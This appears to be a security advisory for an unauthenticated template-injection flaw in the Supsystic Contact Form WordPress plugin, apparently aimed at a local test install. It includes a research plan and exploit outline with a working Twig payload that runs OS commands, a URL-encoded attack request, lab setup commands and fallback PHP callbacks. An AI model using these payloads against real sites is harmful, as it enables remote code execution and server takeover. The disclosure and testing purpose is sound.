Contact Form by Supsystic <= 1.7.36 - Unauthenticated Server-Side Template Injection via Prefill Functionality
Description
The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig `Twig_Loader_String` template engine without sandboxing, combined with the `cfsPreFill` prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig's `registerUndefinedFilterCallback()` method to register arbitrary PHP callbacks.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.7.36What Changed in the Fix
Changes introduced in v1.8.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-4257 - Contact Form by Supsystic SSTI to RCE ## 1. Vulnerability Summary The **Contact Form by Supsystic** plugin (<= 1.7.36) contains a Critical Server-Side Template Injection (SSTI) vulnerability. The plugin uses the **Twig** template engine (`Twig_Loader_String`) to pro…
Show full research plan
Research Plan: CVE-2026-4257 - Contact Form by Supsystic SSTI to RCE
1. Vulnerability Summary
The Contact Form by Supsystic plugin (<= 1.7.36) contains a Critical Server-Side Template Injection (SSTI) vulnerability. The plugin uses the Twig template engine (Twig_Loader_String) to process form field values. Crucially, it implements a cfsPreFill feature that allows population of form fields via GET parameters. Because this input is passed into an unsandboxed Twig environment, an unauthenticated attacker can inject arbitrary Twig expressions. By leveraging Twig's registerUndefinedFilterCallback method, an attacker can register PHP functions (like system or passthru) as filters and execute them to achieve Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint: Any public-facing WordPress page or post containing a Supsystic Contact Form shortcode (e.g.,
[supsystic-form id=1]). - Vulnerable Parameter: GET parameters under the
cfsPreFillarray key or direct field name parameters (depending on configuration, butcfsPreFill[...]is the primary target). - Authentication: None (Unauthenticated).
- Preconditions:
- A contact form must be created and published on a page.
- The plugin must be version 1.7.36 or lower.
3. Code Flow
- Request Initiation: An unauthenticated user sends a GET request to a page containing a form:
GET /contact/?cfsPreFill[test_field]={{7*7}}. - Request Handling: The main plugin file
cfs.phpinitializes theframeCfsclass and callsframeCfs::_()->exec(). - Route Parsing: The plugin identifies the shortcode on the page and triggers the form rendering logic (likely in a
viewclass within aformsmodule). - Prefill Logic: The plugin checks for the
cfsPreFillGET parameter usingreqCfs::get('get'). - Twig Sink: The plugin takes the user-supplied string from the GET parameter and passes it to the Twig Environment (
classes/Twig/Environment.php). - Template Compilation: Because
Twig_Loader_Stringis used, the string{{7*7}}is compiled into PHP code byTwig_Compiler.phpand executed. - Exploitation Sink: The environment is unsandboxed. Calling
_self.env.registerUndefinedFilterCallback("system")modifies thefilterCallbacksproperty inTwig_Environment. Subsequent calls to an "undefined" filter result in the execution of the callback.
4. Nonce Acquisition Strategy
This vulnerability occurs during the rendering (GET request) of the form, not during its submission.
- Requirement: Typically, no WordPress nonce is required to view a public page or to trigger the prefill functionality, as it is designed for marketing/tracking links.
- Verification: If the plugin does verify a nonce for prefilling (unlikely for GET-based prefill), it would be localized in the page source.
- Strategy:
- Create the form and page (see Test Data Setup).
- Navigate to the page using
browser_navigate. - Check the HTML source for any localized objects (e.g.,
window.cfsContactAppData). - If a nonce is found, include it in the GET request.
5. Exploitation Strategy
The goal is to execute id on the server and capture the output.
Step 1: Discover Field Names
The attacker needs at least one valid field name from the form.
- Navigate to the page containing the form:
[supsystic-form id=1]. - Inspect the
nameattribute of the input fields (e.g.,name="fields[email]"orname="email").
Step 2: Execute RCE Payload
We will use the Twig registerUndefinedFilterCallback vector.
Payload:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
HTTP Request:
- Tool:
http_request - Method:
GET - URL:
http://localhost:8080/index.php/contact-page/ - Query Parameters:
cfsPreFill[name]:{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
Note: The payload must be URL-encoded.
GET /index.php/contact-page/?cfsPreFill%5Bname%5D=%7B%7B_self.env.registerUndefinedFilterCallback%28%22system%22%29%7D%7D%7B%7B_self.env.getFilter%28%22id%22%29%7D%7D HTTP/1.1
Host: localhost:8080
6. Test Data Setup
Perform these steps using wp_cli:
- Install Plugin:
wp plugin install contact-form-by-supsystic --version=1.7.36 --activate - Create a Form:
Since creating forms via CLI for this plugin is complex (it uses custom tables), it is easier to use the default form created upon activation.
Find the ID of the existing form:wp db query "SELECT id FROM wp_cfs_forms LIMIT 1;" - Create Page with Shortcode:
Assuming the Form ID is1:wp post create --post_type=page --post_title="Contact Us" --post_status=publish --post_content='[supsystic-form id=1]'
7. Expected Results
- The HTTP response will contain the output of the
idcommand (e.g.,uid=33(www-data) gid=33(www-data) groups=33(www-data)). - The output will typically appear inside the
valueattribute of the targeted form field or in place of the field if the rendering logic is disrupted.
8. Verification Steps
- HTTP Check: Verify the
idcommand output is present in the response body. - Filesystem Check (Post-Exploit):
Execute a payload that creates a file:{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("touch /tmp/pwned")}}
Then verify via WP-CLI:wp eval "echo file_exists('/tmp/pwned') ? 'Vulnerable' : 'Safe';"
9. Alternative Approaches
If the cfsPreFill key does not work directly:
- Direct Parameter: Try the field name directly:
?name={{payload}}. - Different Callback: If
systemis disabled, trypassthru,exec, orshell_exec. - Simple SSTI Check: First confirm SSTI with
{{7*7}}and look for49in the field value before attempting RCE. - Object Injection Path: If
_self.envis restricted, try accessing the environment via other available objects in the template context, such asapporrequestif the plugin provides them.
Summary
The Contact Form by Supsystic plugin for WordPress is vulnerable to unauthenticated Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE). The vulnerability exists because the plugin uses an unsandboxed Twig template engine (Twig_Loader_String) to process form field values supplied via the 'cfsPreFill' GET parameter, allowing attackers to execute arbitrary PHP functions.
Security Fix
@@ -1,8 +1,9 @@ <?php + /** * Plugin Name: Contact Form by Supsystic * Description: Contact Form Builder with drag-and-drop editor to create responsive, mobile ready contact forms in a second. Custom fields and contact form templates - * Version: 1.7.36 + * Version: 1.8.0 * Author: supsystic.com * Author URI: https://supsystic.com * Text Domain: contact-form-by-supsystic
Exploit Outline
1. Locate a public WordPress page containing a Supsystic Contact Form shortcode. 2. Identify a valid field name from the form's HTML (e.g., 'name' or 'email'). 3. Craft a malicious GET request targeting that field using the prefill functionality: `?cfsPreFill[field_name]={{payload}}`. 4. Use the following payload to achieve RCE via Twig's filter callback registration: `{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}`. 5. The server will process the GET parameter as a Twig template, register the PHP 'system' function as a filter, and execute it with the provided argument. The command output will be rendered in the resulting HTML.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.